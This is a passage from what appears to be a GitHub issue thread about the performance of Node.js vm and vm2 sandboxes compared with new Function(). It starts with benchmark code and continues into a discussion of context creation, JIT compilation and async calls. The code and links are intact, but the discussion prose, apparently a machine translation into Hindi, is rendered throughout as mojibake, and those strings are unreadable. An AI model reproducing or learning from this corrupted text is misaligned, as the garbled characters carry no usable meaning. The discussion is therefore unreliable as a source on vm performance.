'"use strict"; ((global) => {' + 'global.test = "VM"; let z = y * 2; response.result = 99; response.body = "TEST"; function doubleZ(n) {return n * 2}; return {x: 123, y: y, z: doubleZ(z), u:uuid()};' + '})(this);'
);
hrend = process.hrtime(hrstart);
console.log('new vm.Script: ', hrend[0], hrend[1]/1000000);
// create the VM context
hrstart = process.hrtime();
let ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
let context = new vm.createContext(ctx);
hrend = process.hrtime(hrstart);
console.log('new vm.createContext: ', hrend[0], hrend[1]/1000000, '\n');
// test 1000 iterations of Function()
let out = {};
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
out = xform(456, response, uuid);
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('Function (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(response) + '\n');
// test 1000 iterations of VM (with optional new context on each)
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
//ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid}; // << THIS IS THE PROBLEM!
//context = new vm.createContext(ctx);
out = script.runInContext(context, {timeout: 100});
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('vm (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(ctx) + '\n');
рдЬреИрд╕рд╛ рдХрд┐ рдЖрдк рдкрд░реАрдХреНрд╖рдг рдореЗрдВ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ, рдореИрдВ рдПрдХ рдмрд╛рд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдФрд░ рд╕рдВрджрд░реНрдн рдмрдирд╛ рд░рд╣рд╛ рд╣реВрдВ, рдлрд┐рд░ рдЗрд╕реЗ 1000 рдмрд╛рд░ рдЪрд▓рд╛ рд░рд╣рд╛ рд╣реВрдВред рд╣рд╛рд▓рд╛рдВрдХрд┐, рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд▓рдХреНрд╖реНрдп рдЙрдкрдпреЛрдЧ-рдорд╛рдорд▓реЗ рдореЗрдВ, рдореБрдЭреЗ рд╣рд░ рдмрд╛рд░ рд╕рдВрджрд░реНрдн рдХреЛ рдлрд┐рд░ рд╕реЗ рдмрдирд╛рдирд╛ рд╣реЛрдЧрд╛ (рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рд╕рдВрдХрд▓рд┐рдд рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдХреИрд╢ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдирд╛), рдХреНрдпреЛрдВрдХрд┐ рдкреНрд░рддреНрдпреЗрдХ рд░рди рдЕрджреНрд╡рд┐рддреАрдп рд╣реИ рдФрд░ рдПрдХ рдирдП рд╕рдВрджрд░реНрдн рд╕реЗ рд╢реБрд░реВ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП)ред рд╣рд░ рдмрд╛рд░ рд╕рдВрджрд░реНрдн рдХреЛ рдлрд┐рд░ рд╕реЗ рдмрдирд╛рдП рдмрд┐рдирд╛, рдлрдВрдХреНрд╢рди () рдФрд░ рд╡реАрдПрдо рдХреЗ рдмреАрдЪ рдХрд╛ рдЕрдВрддрд░ 6 рд╕реЗ 14 рдЧреБрдирд╛ рд╣реИред
рд▓реЗрдХрд┐рди рдХрд░реАрдм рд╕реЗ рджреЗрдЦрдиреЗ рдХреЗ рдмрд╛рдж, рдореИрдВрдиреЗ рдХреЛрдб рдХреА рд╡рд┐рд╡рд┐рдзрддрд╛ (рд▓реВрдк рдХреЗ рдЕрдВрджрд░ рд╣рд░ рдмрд╛рд░ рд╕рдВрджрд░реНрдн рдмрдирд╛рдирд╛) рдХреА рдХреЛрд╢рд┐рд╢ рдХреА, рдЬреЛ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдЙрдкрдпреЛрдЧ-рдорд╛рдорд▓реЗ рдХреЗ рдХрд░реАрдм рд╣реИред рдореИрдВрдиреЗ рдореВрд▓ рд░реВрдк рд╕реЗ рд╕рдВрджрд░реНрдн рдХреЗ рдПрдХ рдмрд╛рд░ рдХреЗ рдирд┐рд░реНрдорд╛рдг рдХреЛ рдХреЗрд╡рд▓ 1ms рд╕реЗ рдХрдо рд╕рдордп рдкрд░ рдмрдирд╛рдпрд╛ рдерд╛, рдЗрд╕рд▓рд┐рдП рдореИрдВ рдЗрд╕реЗ рдкреНрд░рддрд┐-рдкреБрдирд░рд╛рд╡реГрддреНрддрд┐ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рд╢рд╛рдорд┐рд▓ рдХрд░ рд░рд╣рд╛ рдерд╛ред рд▓реЗрдХрд┐рди рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдХреЛрдб рдЪрд▓рд╛рдиреЗ рд╕реЗ рдЕрд╕рд▓реА рдЕрдкрд░рд╛рдзреА рджрд┐рдЦрд╛ - рдЬрдмрдХрд┐ VM рдЕрднреА рднреА рдзреАрдорд╛ рд╣реИ, рд╕рдорд╕реНрдпрд╛ рд╕рдВрджрд░реНрдн рдирд╣реАрдВ рдмрдирд╛ рд░рд╣реА рд╣реИ, рдмрд▓реНрдХрд┐ 'ctx' рдСрдмреНрдЬреЗрдХреНрдЯ рдмрдирд╛ рд░рд╣реА рд╣реИред рдпрд╣ рдХрд╛рдлреА рдЖрд╢реНрдЪрд░реНрдп рдХреА рдмрд╛рдд рд╣реИред
рд▓реЗрдХрд┐рди рд╣рд░ рдмрд╛рд░ рд╡реАрдПрдо рд╕рдВрджрд░реНрдн рдХреЗ рд▓рд┐рдП рдПрдХ рдирдИ рд╡рд╕реНрддреБ рдмрдирд╛рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА (рд╣рд╛рд▓рд╛рдВрдХрд┐ рдЙрд╕рдореЗрдВ рд╕реЗ рдХреБрдЫ рднрд┐рдиреНрдирддрд╛ рдлрд╝рдВрдХреНрд╢рди() рдХреЗ рд▓рд┐рдП рднреА рдЖрд╡рд╢реНрдпрдХ рд╣реЛрдЧреА, рдЗрд╕рд▓рд┐рдП рджреЛрдиреЛрдВ рдХреЗ рдмреАрдЪ рдХрд╛ рдЕрдВрддрд░ 6 рд╕реЗ 14 рдЧреБрдирд╛ рд╣реИ (рдЬреЛ рдЕрднреА рднреА рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ) .
рд╣рдореНрдоред рдореИрдВрдиреЗ рдЕрднреА рдПрдХ рдФрд░ рдкрд░реАрдХреНрд╖рдг рдХреА рдХреЛрд╢рд┐рд╢ рдХреА:
let out = {};
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
out = xform(456, response, uuid);
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('Function (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(response) + '\n');
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
// let context = new vm.createContext(ctx);
out = script.runInContext(context, {timeout: 100});
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('vm (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(ctx) + '\n');
рдпрд╣рд╛рдВ, 'ctx' рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ рджреЛрдиреЛрдВ рдкрд░реАрдХреНрд╖рдгреЛрдВ рдореЗрдВ рд╣рд░ рдмрд╛рд░ рдлрд┐рд░ рд╕реЗ рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рд╕рдВрджрд░реНрдн рдХреЗрд╡рд▓ рдПрдХ рдмрд╛рд░ рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рд╕рдордп рдХрд╛ рдЕрдВрддрд░ 6 рд╕реЗ 14 рдХреА рд╕реАрдорд╛ рдореЗрдВ рд╡рд╛рдкрд╕ рдЖ рдЧрдпрд╛ рд╣реИред рд▓реЗрдХрд┐рди рдЕрдЧрд░ рдореИрдВ рд╣рд░ рдмрд╛рд░ рд╕рдВрджрд░реНрдн рдХреЛ рдлрд┐рд░ рд╕реЗ рдмрдирд╛рдиреЗ рд╡рд╛рд▓реА рд░реЗрдЦрд╛ рдХреЛ рдЕрдирд╕реБрдирд╛ рдХрд░ рджреВрдВ, рддреЛ 144 рдЧреБрдирд╛ рдзреАрдореА рдереА!
@ рдПрд░рд┐рдХ 24 рдЖрдк рд╡рд╣реА рдХрд░ рд░рд╣реЗ рд╣реИрдВ рдЬреЛ рдореИрдВрдиреЗ рдЕрдкрдиреА рдкрд┐рдЫрд▓реА рдкреЛрд╕реНрдЯ рдореЗрдВ рдХрд╣рд╛ рдерд╛ред script.runInContext()
рд╕рдорд╕реНрдпрд╛ рд╣реИред рдпрд╣ рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ eval()
(рдПрдХ рдЕрд▓рдЧ v8 рд╕рдВрджрд░реНрдн рдХреЗ рд╕рд╛рде) рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдЬреИрд╕рд╛ рд╣реА рд╣реИред
рдЕрдкрдиреА рдкреНрд░рджрд░реНрд╢рди рд╕рдорд╕реНрдпрд╛ рдХреЛ рдареАрдХ рдХрд░рдиреЗ рдХрд╛ рд╕рдорд╛рдзрд╛рди рдХреЛрдб рдХреЛ рд╕рдВрдХрд▓рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдмрд╛рд░ runInContext
рдкрд░ рдХреЙрд▓ рдХрд░рдирд╛ рд╣реИ, рдФрд░ рд╕рдВрдХрд▓рд┐рдд рдХреЛрдб рдХреЗ рд╕рд╛рде рдЙрд╕ рд╕рдВрджрд░реНрдн рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдмрд╛рддрдЪреАрдд рдХрд░рдирд╛ рд╣реИ рдЬреЛ рд╡рд╣ рджреЗрддрд╛ рд╣реИ, рдпрд╛ рд╕рдВрджрд░реНрдн рдЬреЛ рдЖрдк рдЗрдирдкреБрдЯ рддрд░реНрдХ рдХреЗ рд░реВрдк рдореЗрдВ рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдХреЗ рд╕рд╛рде рджреНрд╡рд┐рджрд┐рд╢ рд╕рдВрдЪрд╛рд░ рдХреЗ рд▓рд┐рдП рдХреБрдЫ new Event()
рдСрдмреНрдЬреЗрдХреНрдЯ рдкрд╛рд╕ рдХрд░рдирд╛ред рдпрд╣ рд╡рд╣реА рд╣реИ рдЬреЛ рд╣рдорд╛рд░рд╛ [рдЕрднреА рднреА рдЖрдВрддрд░рд┐рдХ рд╕реИрдВрдбрдмреЙрдХреНрд╕, рд░рд╛рдЬрдиреАрддрд┐рдХ рдХрд╛рд░рдгреЛрдВ рд╕реЗ рдУрдкрди-рд╕реЛрд░реНрд╕ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ] vm
рд░реИрдкрд░ рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдУрд╡рд░рд╣реЗрдб рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдирдЧрдгреНрдп рд╣реИред
@parasyte :
рдирд╣реАрдВред runInContext
рдХреЛрдб рд╕рдВрдХрд▓рд┐рдд рдХрд░рддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕реЛрдЪреЛред v8 рдПрдХ рдЬрд╕реНрдЯ-рдЗрди-рдЯрд╛рдЗрдо рдХрдВрдкрд╛рдЗрд▓рд░ рд╣реИред рдЗрд╕реЗ рд╕рдВрдХрд▓рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдирд╛ рд╣реЛрдЧрд╛ред
@parasyte : рдареАрдХ рд╣реИ, рд▓реЗрдХрд┐рди node.js рдбреЙрдХреНрд╕ рд╕реЗ:
_vm.Script рд╡рд░реНрдЧ рдХреЗ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдореЗрдВ рдкрд╣рд▓реЗ рд╕реЗ рд╕рдВрдХрд▓рд┐рдд рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╣реЛрддреА рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕реИрдВрдбрдмреЙрдХреНрд╕ (рдпрд╛ "рд╕рдВрджрд░реНрдн") рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред_
@ Eric24 рдкреНрд░рд▓реЗрдЦрди рдПрдХ рдкреНрд░рдХрд╛рд░ рд╕реЗ рднреНрд░рдорд┐рдд рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рд╣реИред рд╕рдВрдмрджреНрдз рдХреЛрдб рд╕реНрдирд┐рдкреЗрдЯ рдЙрд╕реА рдЕрд░реНрде рдореЗрдВ "рд╕рдВрдХрд▓рд┐рдд" рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ рдЬреИрд╕реЗ рдПрдХ рджреБрднрд╛рд╖рд┐рдпрд╛ рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдмрд╛рдЗрдЯ рдХреЛрдб рдореЗрдВ рд╕рдВрдХрд▓рд┐рдд рдХрд░рддрд╛ рд╣реИред рдЬреЗрдПрд╕ рдПрдХ рджреБрднрд╛рд╖рд┐рдпрд╛ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реИ, рдЬрдм Script
рдСрдмреНрдЬреЗрдХреНрдЯ рдХреЛ рддрддреНрдХрд╛рд▓ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рд▓реЗрдХрд┐рди v8 рд╕реЗ рдЕрдзрд┐рдХрд╛рдВрд╢ рдкреВрд░реНрдг рд▓рд╛рдн рдЗрд╕ рд╡реНрдпрд╛рдЦреНрдпрд╛ рдХрд┐рдП рдЧрдП рдордзреНрдпрд╡рд░реНрддреА рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХреЛ рдореВрд▓ рдорд╢реАрди рдХреЛрдб рдореЗрдВ рд╕рдВрдХрд▓рд┐рдд рдХрд░рдиреЗ рд╕реЗ рдЖрддрд╛ рд╣реИред рдмрд╛рдж рд╡рд╛рд▓рд╛ рдЪрд░рдг рддрдм рддрдХ рд╢реБрд░реВ рдирд╣реАрдВ runInContext
рдХрд╣рд╛ рдЬрд╛рддрд╛ред
рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, JIT рд╕рдВрдХрд▓рдХ рдХрд╛ рдЬреАрд╡рди рдЪрдХреНрд░ рдЙрд╕рд╕реЗ рдХрд╣реАрдВ рдЕрдзрд┐рдХ рдЬрдЯрд┐рд▓ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рдХреЛрдб рдХреЛ JIT рджреНрд╡рд╛рд░рд╛ рдЕрдиреБрдХреВрд▓рди рдХреЗ рд▓рд┐рдП рд╡рд┐рдЪрд╛рд░ рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рд╣реА рдЧрд░реНрдо рдХрд░рдирд╛ рдкрдбрд╝рддрд╛ рд╣реИред рдпрджрд┐ рдЖрдк рд╡рд┐рд╡рд░рдг рдореЗрдВ рд░реБрдЪрд┐ рд░рдЦрддреЗ рд╣реИрдВ рддреЛ рдЗрдВрдЯрд░рдиреЗрдЯ рдкрд░ рдмрд╣реБрдд рд╕рд╛рд░реА рдкрдарди рд╕рд╛рдордЧреНрд░реА рд╣реИ ред
рд▓реЗрдХрд┐рди рдЖрдкрдХреЛ рдХреБрдЫ рдХрдард┐рди рдбреЗрдЯрд╛ рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, runInContext
рдХреЗ рд▓рд┐рдП рдкреНрд░рд╛рд╕рдВрдЧрд┐рдХ рд╕реНрд░реЛрдд рдХреЛрдб рдпрд╣рд╛рдВ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ: https://github.com/nodejs/node/blob/v8.7.0/lib/vm.js#L54 -L61
realRunInContext
рд╕рдВрджрд░реНрдн C++ contextify
рдореЙрдбреНрдпреВрд▓ рд╕реЗ рд╣реИред рдЬрд┐рд╕реЗ рдЖрдк рдпрд╣рд╛рдВ рджреЗрдЦ рд╕рдХрддреЗ рд╣реИрдВ: https://github.com/nodejs/node/blob/v8.7.0/src/node_contextify.cc#L660 -L719
рдЗрд╕ рд╕реА ++ рдХреЛрдб рдХрд╛ рд╕рдмрд╕реЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣рд┐рд╕реНрд╕рд╛ рдпрдХреАрдирди EvalMachine
рдХреЙрд▓ рд╣реИ, рдЬреЛ рд╕рдВрдХрд▓рд┐рдд рдХреЛрдб рдХреЛ рд╡рд░реНрддрдорд╛рди рд╕рдВрджрд░реНрдн рд╕реЗ рдЬреЛрдбрд╝рддрд╛ рд╣реИ, рдФрд░ рдЬреЗрдЖрдИрдЯреА рдХрдВрдкрд╛рдЗрд▓рд░ рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП script->Run()
рдкрд░ рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИред рдирд┐рд╢реНрдЪрд┐рдд рд░реВрдк рд╕реЗ рд╡рд╣ рдХреМрди рд╕рд╛ рд╣реИ рдЬреЛ рдЕрдиреБрдХреВрд▓рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреЛрдб рдХреА рддрд▓рд╛рд╢ рд╢реБрд░реВ рдХрд░рддрд╛ рд╣реИред
рдЙрдореНрдореАрдж рд╣реИ рдХреА рд╡реЛ рдорджрдж рдХрд░рджреЗ!
@parasyte : рд╣рд╛рдБ, рдпрд╣ рдорджрджрдЧрд╛рд░ рд╣реИред рдзрдиреНрдпрд╡рд╛рдж!
рд╣рдо vm2 рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдХреЗ рд╕рд╛рде рд╕рдВрдШрд░реНрд╖ рдХрд░ рд░рд╣реЗ рд╣реИрдВред рдХреНрдпрд╛ рд╣рдо vm2 рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдХреЗ рдЕрдВрджрд░ async рдХреЛрдб рдХрд╣ рд╕рдХрддреЗ рд╣реИрдВ? рдЗрд╕рдХрд╛ рдХрд╛рд░рдг рдпрд╣ рд╣реИ рдХрд┐, рд╣рдореЗрдВ vm2 рдХреЗ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рд╕реЗ рдореИрд╕рдХрд▓ рдЬреИрд╕реЗ рдбреЗрдЯрд╛ рд╕реНрд░реЛрдд рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ?
рд╣рд╛рдБ рдЖрдк рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдХреЗ рдЕрдВрджрд░ async рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЖрдкрдХреЛ рдХреНрдпрд╛ рд╕рдорд╕реНрдпрд╛ рд╣реЛ рд░рд╣реА рд╣реИ?
рдзреНрдпрд╛рди рд░рдЦреЗрдВ рдХрд┐ рдпрджрд┐ рдЖрдк рдЕрд╡рд┐рд╢реНрд╡рд╕рдиреАрдп рдХреЛрдб рдЪрд▓рд╛ рд░рд╣реЗ рд╣реИрдВ, рддреЛ рд╢рд╛рдпрдж рдЖрдк рдРрд╕рд╛ рдирд╣реАрдВ рдХрд░рдирд╛ рдЪрд╛рд╣реЗрдВрдЧреЗ
рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдореЗрдВ рдкреВрд░реНрдг рдПрд╕рдХреНрдпреВрдПрд▓ рдкрд╣реБрдВрдЪ рдкреНрд░рджрд╛рди рдХрд░реЗрдВред рдЗрд╕рдХреЗ рдмрдЬрд╛рдп, рдЖрдк рд╢рд╛рдпрдж рдЬреЛрдбрд╝рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ a
рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдХреЗ рд▓рд┐рдП getdata() рд╡рд┐рдзрд┐ рдЬреЛ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдХреЗ рдмрд╛рд╣рд░ рдХреЛрдб рдЪрд▓рд╛рддрд╛ рд╣реИ рдЬрд╣рд╛рдВ
рд╡рд╛рд╕реНрддрд╡рд┐рдХ SQL рдХрдиреЗрдХреНрд╢рди рд╣реЛрддрд╛ рд╣реИред
рдордВрдЧрд▓рд╡рд╛рд░, 24 рдЕрдХреНрдЯреВрдмрд░, 2017 рдХреЛ рд╕реБрдмрд╣ 6:49 рдмрдЬреЗ рд░рд╛рдЬрдЧреЛрдкрд╛рд▓ рд╕реЛрдорд╕реБрдВрджрд░рдо <
рд╕реВрдЪрдирд╛рдПрдВ@github.com> рдиреЗ рд▓рд┐рдЦрд╛:
рд╣рдо vm2 рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдХреЗ рд╕рд╛рде рд╕рдВрдШрд░реНрд╖ рдХрд░ рд░рд╣реЗ рд╣реИрдВред рдХреНрдпрд╛ рд╣рдо рдХреЙрд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ
vm2 рд╕реИрдВрдбрдмреЙрдХреНрд╕ рдХреЗ рдЕрдВрджрд░ async рдХреЛрдб? рдХрд╛рд░рдг рд╣реИ, рд╣рдореЗрдВ a . рд╕реЗ рдЬреБрдбрд╝рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ
vm2 рдХреЗ рд╕реИрдВрдбрдмреЙрдХреНрд╕ рд╕реЗ рдореИрд╕рдХрд▓ рдЬреИрд╕реЗ рдбреЗрдЯрд╛ рд╕реНрд░реЛрдд?-
рдЖрдк рдЗрд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд░рд╣реЗ рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐ рдЖрдкрдХрд╛ рдЙрд▓реНрд▓реЗрдЦ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред
рдЗрд╕ рдИрдореЗрд▓ рдХрд╛ рд╕реАрдзреЗ рдЙрддреНрддрд░ рджреЗрдВ, рдЗрд╕реЗ GitHub рдкрд░ рджреЗрдЦреЗрдВ
https://github.com/patriksimek/vm2/issues/32#issuecomment-338978717 , рдпрд╛ рдореНрдпреВрдЯ рдХрд░реЗрдВ
рд╕реВрддреНрд░
https://github.com/notifications/unsubscribe-auth/AOeY7Kir6Mm_k_P2ZhR3tdQzZQPknTNZks5svdz0gaJpZM4I22m8
.
@wysisoft рдЙрддреНрддрд░ рдХреЗ рд▓рд┐рдП рдзрдиреНрдпрд╡рд╛рдж, рд╣рдордиреЗ https://github.com/patriksimek/vm2/issues/102 рд╡рд┐рд╡рд░рдг рдХреЗ рд╕рд╛рде рдЗрд╕ рдореБрджреНрджреЗ рдХреЛ рдЕрд▓рдЧ рд╕реЗ рдЙрдард╛рдпрд╛ рд╣реИ
@ рдПрд░рд┐рдХ 24 рджрд┐рдорд╛рдЧ 'рдирдпрд╛ рдлрдВрдХреНрд╢рди ()' рд╡рд┐рдХрд▓реНрдк рд╕рд╛рдЭрд╛ рдХрд░ рд░рд╣рд╛ рд╣реИ? VM рд╕реЗ рд╕рд╛рдл рджрд┐рдЦрддрд╛ рд╣реИ
@platinumindustries : рдЕрдВрдд рдореЗрдВ, рдореИрдВ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ "рдирдпрд╛ рдлрд╝рдВрдХреНрд╢рди ()" рд╡рд┐рдХрд▓реНрдк рдХреА рдЕрдиреБрд╢рдВрд╕рд╛ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реВрдВред рд╣рдордиреЗ рд╡реАрдПрдо рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХреЗ рд╕рд╛рде рд░рд╣рдирд╛ рд╕рдорд╛рдкреНрдд рдХрд░ рджрд┐рдпрд╛, рдФрд░ рдЗрд╕рдХреЗ рдмрдЬрд╛рдп рдЙрд╕ рдХреЛрдб рдХреЛ рдЕрдиреБрдХреВрд▓рд┐рдд рдХрд░рдиреЗ рдкрд░ рдзреНрдпрд╛рди рдХреЗрдВрджреНрд░рд┐рдд рдХрд┐рдпрд╛ред рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдЕрдм рдЬреЛ рд╣реИ рд╡рд╣ рдмрд╣реБрдд рдЕрдЪреНрдЫрд╛ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИред рдореИрдВ рдИрдорд╛рдирджрд╛рд░реА рд╕реЗ рдпрд╛рдж рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛ рдХрд┐ рд╣рдореЗрдВ рдЙрд╕ рджрд┐рд╢рд╛ рдореЗрдВ рдХреНрдпрд╛ рдзрдХреНрдХрд╛ рджрд┐рдпрд╛, рд▓реЗрдХрд┐рди рдореБрдЭреЗ рдкрддрд╛ рд╣реИ рдХрд┐ рдХрдИ рдЫреЛрдЯреА рдЪреАрдЬреЗрдВ рдереАрдВ рдЬреЛ рдЕрдВрддрддрдГ рд╕реВрдЪреА рд╕реЗ "рдирдпрд╛ рдлрд╝рдВрдХреНрд╢рди ()" рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХреЛ рдкрд╛рд░ рдХрд░ рдЧрдИрдВред
@ рдПрд░рд┐рдХ 24 рддреЛ рдмрд╣реБрдд рдЕрдЪреНрдЫрд╛ред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, NodeJS 10.9* рдХреЗ рдирдП рд╕рдВрд╕реНрдХрд░рдг рдореЗрдВ рдЙрдирдХреЗ рдкрд╛рд╕ vm рдореЗрдВ eval() рдХреЛ рдЕрдХреНрд╖рдо рдХрд░рдиреЗ рдХрд╛ рд╡рд┐рдХрд▓реНрдк рд╣реИ ред рддреЛ рдХреНрдпрд╛ рдпрд╣ рдкрд░реНрдпрд╛рдкреНрдд рд╣реИ рдпрд╛ рдХреНрдпрд╛ рдореБрдЭреЗ рдЕрднреА рднреА рдЗрд╕реЗ C . рд╕реЗ рдЕрдХреНрд╖рдо рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ?
рдкреБрд░рд╛рдиреЗ рдзрд╛рдЧреЗ рдореЗрдВ рдХреВрджрдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдЦреЗрдж рд╣реИред
рд╣рд╛рд▓рд╛рдВрдХрд┐, рд╡рд╛рд╕реНрддрд╡рд┐рдХ рд▓рдХреНрд╖реНрдп рдЙрдкрдпреЛрдЧ-рдорд╛рдорд▓реЗ рдореЗрдВ, рдореБрдЭреЗ рд╣рд░ рдмрд╛рд░ рд╕рдВрджрд░реНрдн рдХреЛ рдлрд┐рд░ рд╕реЗ рдмрдирд╛рдирд╛ рд╣реЛрдЧрд╛ (рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ рд╕рдВрдХрд▓рд┐рдд рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рдХреИрд╢ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрдирд╛), рдХреНрдпреЛрдВрдХрд┐ рдкреНрд░рддреНрдпреЗрдХ рд░рди рдЕрджреНрд╡рд┐рддреАрдп рд╣реИ рдФрд░ рдПрдХ рдирдП рд╕рдВрджрд░реНрдн рд╕реЗ рд╢реБрд░реВ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП)ред
@ рдПрд░рд┐рдХ 24 рдореИрдВ рджреЗрдЦ рд░рд╣рд╛ рд╣реВрдВ рдХрд┐ рдореИрдВ рд╕рд░реНрд╡рд░ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рдЕрдВрджрд░ vm2
